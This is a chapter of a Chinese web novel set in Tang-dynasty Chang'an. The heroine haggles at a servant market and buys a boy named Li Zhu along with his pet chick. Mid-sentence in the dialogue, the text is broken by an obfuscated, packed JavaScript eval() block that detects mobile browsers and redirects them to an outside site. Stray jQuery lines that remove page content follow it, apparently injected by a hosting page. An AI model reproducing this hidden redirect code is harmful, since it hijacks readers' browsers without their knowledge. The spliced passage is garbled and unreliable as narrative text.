所谓“人市”，即唐朝买卖奴仆的交易场所，又名奴市，崔时钰更愿意使用前者来称呼。


    想要招聘新员工，来这里无疑是最方便的。


    长安城雨，风景如画。


    不知欣赏了多久美景，崔时钰忽听驴车吱呀一声停在一处坊墙外，她伸手掀开车帘，然后就被外面的雨汽和声浪扑了满脸。


    天气虽然欠佳，市场的热闹却一点没减。


    人市口搭着个巨大的彩绸棚子，牙人们正高声吆喝着生意，身后站着好几排年岁不大的双鬟婢女，个个脸上敷着胭脂；几个穿短打的汉子扛着麻绳穿行其间，还有不少敲着羯鼓招揽客人的昆仑奴。


    斜里有个碧眼胡人在表演跳丸，铜球在他手中转出了花，喝彩声一阵阵传来。


    崔时钰还是头一次瞧见这番热闹场面，不免觉得有几分新奇，多瞄了几眼。


    她前脚刚撑着伞从驴车上下来，尚未站稳，后脚一个穿得花团锦簇的牙人已满脸堆笑地迎了上来。


    对方利落地伸手一揖，“娘子可是要挑使唤人？”


    不等崔时钰开口便紧跟着介绍起来：“小可这里有新来的胡姬舞婢，还有岭南妙手厨娘，要价虽贵，却也不是不能商议，娘子若是实在嫌贵，这儿还有两个会算账的童子，价钱还不到一匹绢！”


    最后一句推销语听起来有点耳熟——后世不是也有不到一杯奶茶钱的说法么？


    都是话术罢了。


    那牙人边说边引路，恨不得崔时钰马上掏出腰包把他身后这群男女老少全都买下来似的。


    崔时钰没被他带跑了去，冷静道：“我要健仆。”


    “健仆也有！这不巧了，小可手上正好有几个新到的健仆，脚力快、性子稳，最是合用！”牙人声音越发洪亮。


    想来牙人大多都是这般浮夸的推销风格，这人如此，其他人多半也是。


    雨天路滑泥泞不好走，择个不如撞个，便先从他这里打听打听吧。


    崔时钰略一颔首，把自己的要求一一道出：“可有伶俐些的？需得识得坊间道路，手脚勤快，能替我送些食盒。”


    牙人眼珠一转，立刻侧身指向身后，“娘子请看，这少年老家在洛阳，自幼在街巷里跑腿，对各坊路径都熟稔得很。”


    他抬手招了招，一个约莫十五六岁的少年快步上前，衣着简朴，但瞧着眼神清亮，站姿也很端正。


    牙人补充道：“他家中原是开脚店的，因故落了籍，但身子骨结实，没什么毛病，性子也老实，绝不会偷奸耍滑。”


    崔时钰略作思忖，又问：“可会驾车？若遇像这样的雨天，能否稳妥送达？”


    牙人拍胸保证：“车技虽不算精，但寻常代步无碍。娘子若不放心，这儿还有几个曾在驿站做过杂役的，更擅赶路……”


    说着又介绍了好几个。


    崔时钰目光从牙人推荐的几人身上一一扫过，面上不显，心中却已对这几人掂量分明：


    那洛阳少年虽眼神清亮，一双手伸出来却不太干净，仔细看指缝间还有许多黑泥，送食盒讲究个利落干净，他怕是不太能行。


    后面介绍的驿站杂役倒是腿脚麻利，但瞧着眼神飘忽不定，说话也略带夸词。


    崔时钰活了两辈子，在识人一道有自己的标准，知晓以对方这般心性，保不齐半路会偷掀食盒偷嘴。


    再说最边上那个膀大腰圆的，牙人夸他力气大能扛重物，崔时钰却瞧见他脖子上有一道蜿蜒至衣领的陈年疤痕，这般体格还带着如此显眼的伤痕，定是好勇斗狠之徒，哪堪奔波？


    日日与这样的人相对，对她们姊妹三个来说也不安全。


    把人一一看完，崔时钰不紧不慢开口：“还有旁的么？”


    牙人略显尴尬地一笑，心想：这小娘子看着年岁不大，怎么这么挑剔啊？


    他方才瞧着这女郎年纪极轻，定是没那么多心眼，好说话，这才极力招揽，想着随便丢给对方一个奴仆就把钱赚了，谁知这桩生意竟比想象中难做多了。


    他唾沫都快说干了，铜板却还没个踪影。


    早知如此，还不如方才就在旁边坐着歇着！


    牙人绞尽脑汁思索还有哪个符合要求的奴儿没被提到，正要再开口，就见那挑剔小娘子的目光悠悠地越过他，落在坊墙的角落处。


    牙人顺着她的目光看过去。


    雨丝斜斜飘着，石板上积了薄薄一层积水，一个瘦削少年蹲在旁边，半个身子已经湿透。


    他小心翼翼地拢着手心，隐约可见一团嫩黄绒毛在他指缝间颤动。


    是只小鸡崽。


    那小鸡崽倒是半点没受雨丝打扰，舒舒服服在他手里打起瞌睡，睡得极香，小脑袋都一点一点的。


    牙人见状啧了一声，语气不快：“那是鸡坊剩下的榆木疙瘩，死心眼非要带着只鸡崽子，要买他就必须带着那扁毛畜生，麻烦得很，白白耽误好几回买卖。”


    少年似有所觉，抬头望来。


    崔时钰看清了他的脸。


    雨水顺着少年湿透的额发滴落，衬得那双眼睛格外清透，清澈得像是能照见人心。


    牙人的声音响在耳边：“鸡坊散了，旁的都安置了，偏他不成气候，死守着一只鸡崽不放，要我看多半是脑子出了问题——娘子要不要再看看旁人？我这儿还有的是奴仆！”


    他话音刚落，就见崔时钰已迈步朝那边走去。


    崔时钰撑着油纸伞走到少年面前，替他和鸡崽挡了雨，半弯下身，声音不疾不徐：“站起来让我看看。”


    雨水顺着伞沿滴落，啪嗒啪嗒在四周溅起细小的水花。


    少年愣了一下，慌忙起身，似乎蹲得腿麻，动作有些迟缓，但站起来的姿势很端正。


    崔时钰继续道：“伸手。”


    少年眨眨眼，把手里的小鸡崽轻轻放进兜里，又在衣襟上擦干手心，这才平举双臂。


    腕骨嶙峋，手指修长，指节分明，指甲修得极短，虽然粗糙，意外地却很干净；指腹上有层薄茧，想来是常年握扫帚磨出的形状。


    ——不错，手脚都没问题。


    “识字吗？”崔时钰又问。


    少年低着头，吐字清晰地轻声道：“会写自己的名字，也会记数。”


    崔时钰继续问道：“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816915|172375||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你叫什么名字？”


    少年答道：“回娘子的话，我叫李竹。”


    李竹，做人应如竹，倒是个好名字。


    崔时钰注意到，他说完这句话后瞥了眼口袋里的小鸡。


    这小鸡崽也不挑地方，刚才在少年手心里睡得昏天黑地，这会儿又在衣裳口袋里睡得香甜，也真是个心大的。


    也许正因如此，才能在这种条件下活下去吧。


    想逗一逗这个叫做李竹的少年，崔时钰故意拖长尾调：“这鸡——”


    李竹立刻抬头，夸起这只小鸡崽来：“它很乖的，吃的也不多，还会认路。”说着轻轻打了个呼哨，小鸡立刻回应似的叽啾叫了两声。


    还挺可爱。


    崔时钰眼中闪过一丝笑意，问：“你养了它多久？”


    “刚孵出来便一直养着了。母鸡孵完它就被人买走了，从那之后便一直是我养着。”


    崔时钰陷入沉思。


    小时候她也养过这样一只小鸡，菜市场里买的，从鸡雏养到半大，后来因为天天在地上拉屎，楼房里实在养不下了，便送去了家住农村平房的舅妈家。


    她当时特意和舅妈嘱咐“不要吃它”，还时不时以探望舅妈的名义去舅妈家，顺便去探望一眼小鸡，见舅妈一家果真将它养的白白胖胖才放下心来。


    后来，这只鸡寿终正寝，度过了比寻常鸡都幸福的鸡生。


    雨渐渐小了，崔时钰收起伞，转身对牙人说：“就是他了。”


    听到这句话，李竹微微瞪大了眼。


    崔时钰没看他，想，选择李竹，除了被他愿意护着鸡崽的善意打动，还有更重要的原因，那就是他和那些或强壮或高大的奴仆相比，价格没那么贵。


    牙人似乎也没料到事情会这样发展，张着嘴愣在原地。


    这怎么和他想象中好像不太一样啊！


    崔时钰目光在李竹与牙人之间转了个来回，最终落到牙人脸上，开口道：“五贯钱，连人带鸡。”


    牙人顿时苦了一张脸：“娘子说笑了，一只鸡崽不值钱，不提也罢，只是这李竹好歹是正经鸡坊出来的，五贯钱也太……”


    崔时钰打断他：“这孩子身子这么瘦，怕是要吃好些粮食才能养回来，还有这鸡雏也是，得费粮食养着。”


    仿佛知道自个被点名了一样，小鸡叽叽叫了两声，小爪子往前迈几步，没站稳，又扑棱棱跌回李竹衣服口袋。


    李竹连忙安抚似的摸了摸他。


    牙人见李竹贴心守护鸡崽的模样，一甩袖子，摇着头叹气道：“罢了罢了，今日这雨水泡得市集冷清——六贯钱，再不能少了！”


    不管他说了什么，崔时钰始终不为所动，依旧坚持方才的报价：“五贯，现钱结清，不然就算了。”说着就一副马上要掉头走人的架势。


    “哎哟，这价连只驴都买不着！”


    果然，牙人嘴上抱怨，一双眼睛却紧紧黏着崔时钰，怕她真的走掉。


    最终，他败下阵来：“罢了罢了，五贯就五贯，权当小可今日与小娘子结交为友了。”


    崔时钰转身，笑眯眯道：“成交。”